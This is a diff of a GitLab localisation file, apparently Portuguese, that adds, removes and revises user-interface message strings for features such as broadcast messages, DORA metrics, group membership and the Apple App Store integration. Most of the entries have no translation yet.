msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr "Anexar o comentário com %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Aplicação"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr "Mensagem de transmissão atualizada com sucesso."
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Procurar Diretório"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr "Alterar a tua palavra-passe"
msgid "Change your password or recover your current one"
msgstr "Altera a tua palavra-passe ou recupera a tua atual"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr "Estado"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Tipo"
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Clica para expandir."
@@ -8795,12 +8933,18 @@ msgstr "Problemas Fechados"
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Cada nova conta do Google Cloud Platform (GCP) recebe $300 em crédito após %{sign_up_link}. Em parceria com o Google, o GitLab pode oferecer $200 adicionais, para contas de GCP novas e existentes para começarem a usar o Google Kubernetes Engine Integration do GitLab."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Falha ao configurar o Google Kubernetes Engine Cluster: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Falha ao pedir ao Google Cloud Platform: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Falha ao executar o Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integração GitLab"
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Erros encontrados no teu %{gitlab_ci_yml}:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Erro ao carregar o diff completo. Por favor, tenta novamente."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Nenhum ficheiro encontrado"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
